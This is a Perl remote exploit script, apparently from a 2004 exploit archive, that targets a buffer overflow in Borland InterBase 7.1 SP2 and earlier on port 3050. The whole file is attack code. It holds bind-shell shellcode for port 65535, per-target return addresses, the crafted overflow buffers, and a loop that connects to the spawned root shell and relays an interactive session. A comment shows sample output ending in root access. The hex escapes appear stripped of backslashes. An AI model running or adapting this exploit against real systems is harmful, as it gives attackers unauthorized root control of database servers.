#!/usr/bin/perl
# Priv8security com remote exploit for Borland Interbase 7.1 SP 2 and lower
# Public Version!!!
#
# Bug found by Aviram Jenik www.securiteam.com unixfocus 5AP0P0UCUO.html
#
# [wsxz@localhost buffer]$ perl priv8ibserverb.pl -h localhost -t 0
#
# -=[ Priv8security.com InterBase Server 7.1 SP2 and lower remote exploit ]=-
#
# [+] Using target 0: Linux Interbase 7.1 SP 2
# [+] Sending first buffer... d0ne!
# [+] Waiting... Got awnser!
# [+] Sending final hit... Done!
# [+] Enjoy your stay on this server =)
#
# ****** Welcome to 'localhost' ******
#
# Linux localhost 2.4.21-0.27mdk #1 Wed Jan 7 03:44:18 MST 2004 i686 unknown
# unknown GNU/Linux
# uid=0(root) gid=0(root) groups=0(root)
#
use IO::Socket;
use Getopt::Std; getopts('h:p:t:o:', %args);

if (defined($args{'h'})) { $host = $args{'h'}; }
if (defined($args{'p'})) { $port = $args{'p'}; }else{$port = 3050;}
if (defined($args{'t'})) { $target = $args{'t'}; }else{$target = 0;}
if (defined($args{'o'})) { $offset = $args{'o'}; }else{$offset = 0;}

print "n-=[ Priv8security.com InterBase Server 7.1 SP2 and lower remote exploit ]=-nn";
if(!defined($host)){
print "Usage:
-h <host>
-p Port <default 3050>
-t Target number from list.nn";
print STDERR "Targets:
0 - Linux Interbase 7.1 SP 2
1 - Linux Interbase 6.01 InterBaseSS_LI-V6.0-1.i386.rpm
2 - Crashnn";
print STDERR "Usage: perl $0 -h Victim -t targetnn";
exit;
}

$shellcode = # portbind 65535 by Ramon de Carvalho priv8security.com
"x31xdbxf7xe3x53x43x53x6a".
"x02x89xe1xb0x66xcdx80xff".
"x49x02x6ax10x51x50x89xe1".
"x43xb0x66xcdx80x89x41x04".
"xb3x04xb0x66xcdx80x43xb0".
"x66xcdx80x59x93xb0x3fxcd".
"x80x49x79xf9x68x2fx2fx73".
"x68x68x2fx62x69x6ex89xe3".
"x52x53x89xe1xb0x0bxcdx80";

if ( $target == "0" ) { # TESTED
$ret = 0x081b7ee3; # jmp esp
$pack = 0;
$desc = "Linux Interbase 7.1 SP 2";
}
if ( $target == "1" ) { # TESTED
$ret = 0x080c77bd; # jmp esp
$pack = 1;
$desc = "Linux Interbase 6.01 .rpm";
}
if ( $target == "2" ) {
$ret = 0x41424344;
$pack = 1;
$desc = "Crash it!";
}

$new_ret = pack('l', ($ret));

# Request buffer
$buffer = "x00x00x00x01x00x00x00x13x00x00x00x02x00x00".
"x00x24x00x00x01x4e".
"A" x 334 .
"x00x00x00x00x00x04x00x00x00x10x01x05".
"x61x6cx69x6dx61x04x05x6cx69x6ex75x78x06x00x00x00".
"x00x08x00x00x00x01x00x00x00x02x00x00x00x04x00x00".
"x00x02x00x00x00x08x00x00x00x24x00x00x00x02x00x00".
"x00x04x00x00x00x03x00x00x00x0ax00x00x00x01x00x00".
"x00x02x00x00x00x04x00x00x00x04x00x00x00x0ax00x00".
"x00x24x00x00x00x02x00x00x00x04x00x00x00x05";

# This buffer is for 7.1 version, its a simple classic overflow.
$buffer2 = "x00x00x00x13x00x00x00x00x00x00x01x2c".
"A" x 152 . $new_ret . "x90" x (144 - length($shellcode)) . $shellcode.
"x00x00x00x00".
"x00x1cx01x1cx04x72x6fx6fx74x1ex0bx74x5ax72x64x6d".
"x68x4bx58x42x66x51x3ax04x3cx00x00x00x3ex00";

# This buffer is for 6.01, a little tricky to exploit.
$buffer3 = "x00x00x00x13x00x00x00x00x00x00x01x4e".
"x90" x (128 - length($shellcode)) . $shellcode.
$new_ret x 2 . "xf8xfdxffxbf" . "x90" x (180 - length($shellcode)) . $shellcode.
"xf0x3ax1ex08".
"AAAAAAAAAA".
"x00x00x00x00".
"x00x1cx01x1cx04x72x6fx6fx74x1ex0bx7ax5ax72x64x6d".
"x68x4bx58x42x66x51x3ax04x3cx00x00x00x3ex00";

$sock = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$host,PeerPort=>$port)
or die "[-] Cant Connect!!n";

print STDERR "[+] Using target $target: $descn";
print STDERR "[+] Sending first buffer...";
$sock->send($buffer);
print STDERR " d0ne!n";
print STDERR "[+] Waiting... ";
$sock->recv($text,128);
if($text){
print STDERR "Got awnser!n";
}
print STDERR "[+] Sending final hit... ";
if($pack){
$sock->send($buffer3);
}else{
$sock->send($buffer2);
}
print STDERR "Done!n";
sleep(3);

$sc = IO::Socket::INET->new(Proto=>"tcp", PeerHost=>$host,PeerPort=>65535,Type=>SOCK_STREAM,Reuse=>1)
or die "[-] No luck, try other offset next time ok.n";

print "[+] Enjoy your stay on this server =)n";

$sc->autoflush(1);

print $sc "echo;echo "****** Welcome to '`hostname -s`' ******"n";
print $sc "echo;uname -a;id;echon";

die "cant fork: $!" unless defined($pid = fork());

if ($pid) {
while(defined ($line = <$sc>)) {
print STDOUT $line;
}
kill("TERM", $pid);
}
else
{
while(defined ($line = <STDIN>)) {
print $sc $line;
}
}
close($sc);
print "Good bye!!n";


# www.Syue.com [2004-06-25]